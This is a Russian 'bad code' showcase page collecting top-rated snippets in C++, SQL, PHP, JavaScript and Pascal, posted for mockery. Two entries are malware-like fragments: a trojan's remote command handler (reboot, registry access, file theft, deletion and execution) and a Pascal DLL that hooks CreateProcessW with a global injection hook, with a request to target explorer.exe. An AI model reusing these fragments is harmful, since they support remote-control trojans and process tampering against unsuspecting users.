Лучший говнокод за всё время

Лучший говнокод

В номинации:

Лучший рейтинг
Самый комментируемый

За время:

C++ / Говнокод #15551

+13

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
 
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
                                  // информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz;  // создаем объект наших утилит 
Utilz.Sock=ServSckt;    // необходимо для отсылки ответа клиенту, так как сокет у нас
                // находится на форме, а TTrojanUtilites не имеет никакого отношения
                // к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length());   // получаем первый символ сообщения - номер команды
cn = StrToInt(temp);       // преобразуем в число
received.Delete(1,1);      // удаляем код команды - остаются одни параметры
switch (cn) {         // в соответсвии с полученой командой 
                                // запускаем соотвествующую утилиту 
case 1 : Utilz.RestartMachine(); break;  // перезагрузка
case 2 : Utilz.WriteRegistry(received); break;  // запись в реестр
case 3 : Utilz.ReadRegistry(received); break;   // чтение реестра
case 4 : Utilz.SendFile(received); break;       // чтение файла
case 5 : Utilz.DeleteFile(received); break;     // удаление файла 
case 6 : Utilz.ExecuteFile(received); break;    // запуск файла 
case 7 : Utilz.OpenCloseCD; break;            // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break;            // прячем курсор мыши 
case 9 : Utilz.SwapMouseButtons(); break;       // переключаем кнопки мыши 
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
                                           // информируем клиента об этом
}
}

NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html

gost, 21 Марта 2014

Комментарии (16)

SQL / Говнокод #15521

−115

1

SELECT `1`,`4` FROM `kada-region` WHERE `2` = "SAV" ORDER BY `7`

Комментариев нет. Кроме нескольких, типы столбцов int. Догадайся что есть что.

Nerfair, 18 Марта 2014

Комментарии (16)

PHP / Говнокод #15395

+143

1
2
3
4
5
6

<?php
function get_md5($filename){
return md5_file($filename)
}
echo "get_md5($_POST)";
?>

Только начал php, посоветуйте литературу Х)

VityaPW, 08 Марта 2014

Комментарии (16)

JavaScript / Говнокод #15215

+178

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

// Performance optimization: http://jsperf.com/apply-vs-call-vs-invoke
switch (self ? -1 : args.length) {
    case  0: return fn();
    case  1: return fn(args[0]);
    case  2: return fn(args[0], args[1]);
    case  3: return fn(args[0], args[1], args[2]);
    case  4: return fn(args[0], args[1], args[2], args[3]);
    case  5: return fn(args[0], args[1], args[2], args[3], args[4]);
    case  6: return fn(args[0], args[1], args[2], args[3], args[4], args[5]);
    case  7: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
    case  8: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
    case  9: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8]);
    case 10: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9]);
    default: return fn.apply(self, args);
}

Привет от Angular!

Данный фрагмент присутствовал в официальном коде фреймворка с первой stable-версии и был бесчеловечно вырезан буквально пару месяцев назад (с 1.2.5 релиза).

https://ajax.googleapis.com/ajax/libs/angularjs/1.2.4/angular.js

dhilt, 27 Февраля 2014

Комментарии (16)

Pascal / Говнокод #14988

+115

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

library ch;
uses
  Windows,SysUtils,controls,graphics,extctrls,shellapi,Unit1 in 'Unit1.pas' {Form1};
type
  NTStatus = cardinal;
  far_jmp = packed record
    push: byte;
    PProc: pointer;
    ret: byte;
  end;
  OldCode = packed record
    one: dword;
    two: dword;
  end;
const
  STATUS_ACCESS_DENIED = NTStatus($C0000022);
  STATUS_SUCCESS = NTStatus($00000000);
function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: dword; lpEnvironment: pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  external 'kernel32.dll' name 'CreateProcessW';
var
  CPA: pointer;
  OldCPA: OldCode;
  JmpCPA: far_jmp;
  b:cardinal;

procedure UnHook;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
end;

function FalseCreateProcessW():boolean;
begin
  SetLastError(ERROR_ACCESS_DENIED);
  result:=falsecreateprocessw
end;
function TrueCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
  Result := CreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
end;
 function NewCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): bool; stdcall;
  var
    reason:string;
begin
  result:=true;// подавляем ошибку "Доступ запрещен"
 // если что-то нам не понравилось, выходм
  else
  // или выполняем командную строку 
    Result := TrueCreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
procedure SetHook;
begin
   CPA := GetProcAddress(getmodulehandle('kernel32.dll'), 'CreateProcessW');
   ReadProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
   JmpCPA.push := $68;
   JmpCPA.PProc := @NewCreateProcessW;
   JmpCPA.ret := $C3;
   WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);

end;
function MessageProc(code: integer; wParam: word; lParam: longint)
  : longint; stdcall;
begin
  Result := CallNextHookEx(0, code, wParam, lParam);
end;
procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  sleep(infinite);
end;
procedure SetGlobalHook();
var
  //hMutex: dword;
  TrId: dword;
begin
    CreateMutex(nil, False, 'Vhook@016');
    if GetLastError = 0 then
    CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, trid)
end;

procedure DLLEntryPoint(dwReason: dword);

begin

  case dwReason of

    DLL_PROCESS_ATTACH:

      begin

        SetHook;

        SetGlobalHook;

      end;

    DLL_PROCESS_DETACH:

      begin

        UnHook;

      end;

  end;

end;

begin

  DllProc := @DLLEntryPoint;

  DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

Товарищи, как можно поправить этот код, чтобы библиотека подгружалась только к процессу "explorer.exe" и патчила в его памяти CreateProcessW?

Stertor, 26 Февраля 2014

Комментарии (16)

C++ / Говнокод #14949

+37

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

long* Service::qByteToLongArray(QByteArray qba, long r)
{
    long* larr = new long[r];

    char *carr;
    carr = (char*)larr;

    int len = r * sizeof(long);//length in bytes

    for(int i=0; i < len; i++)
        carr[i] = qba.at(i);

    return larr;
}

QByteArray Service::longToQByteArray(long **larr2, long r, long c)
{
    QByteArray qba;// = new QByteArray();

    char **carr2;
    carr2 = (char**)larr2;

    int rlen = c * sizeof(long);//length of row in bytes

    for(int i=0; i < r; i++){
        qba.append(carr2[i], rlen);//add next row of matrix to the QByteArray
    }

    return qba;
}

Нашли это, только когда собрали под x64.

Abbath, 25 Февраля 2014

Комментарии (16)

Pascal / Говнокод #14530

+125

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17

var
  generalPtr : Pointer;  // Указатель на что-нибудь
  formPtr    : ^TForm;   // Указатель на объект формы

begin
  // Форма текущего модуля адресуемая через ключевое слово self
  generalPtr := Addr(self);

  // Мы можем присвоить этот указатель указателю формы
  formPtr := generalPtr;

  // И установить заголовок формы, чтобы показать это
  formPtr.Caption := 'Test program';
end;
Форма будет показана с з[color=red]а[/color]галовком:

Test program

http://www.delphibasics.ru/Pointer.php

Stertor, 09 Февраля 2014

Комментарии (16)

C++ / Говнокод #14519

+51

1
2
3
4
5
6
7
8
9

#include <iostream>
using namespace std;

int main() {
    const int ci = 42;
    auto f = [ci]() mutable { std::cout << ++ci << '\n'; };
    f();
    return 0;
}

http://ideone.com/0P72sN
А слона то я и не приметил.

LispGovno, 07 Февраля 2014

Комментарии (16)

C++ / Говнокод #14396

+3

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

class Base
{
  void fooo() { ... }
};
class Derived
{
  void fooo() { ... }
};
void DoSmth (Base& b)
{
  b.fooo();
};
Derived d; 
DoSmth(d); // полная статика, так что там внутри вызовется метод базы
void DoSmth (polymorth<Base>& b) // это структура, которая хранит ссылку на объект и ссылку на таблицу методов
{
  b.fooo();
};
polymorth<Base>b = Derived(); 
// инициализация при объявлении, чтобы было понятно, сколько памяти выделить
// в структуре записалась таблица методов Derived
DoSmth(b);  // вызовется метод наследника
...
// в конце вызывается деструктор наследника

Творчество оттуда.
"Основная идея - избавить от вопроса "делать ли деструктор виртуальным"

LispGovno, 22 Января 2014

Комментарии (16)

Говнокод: по колено в коде.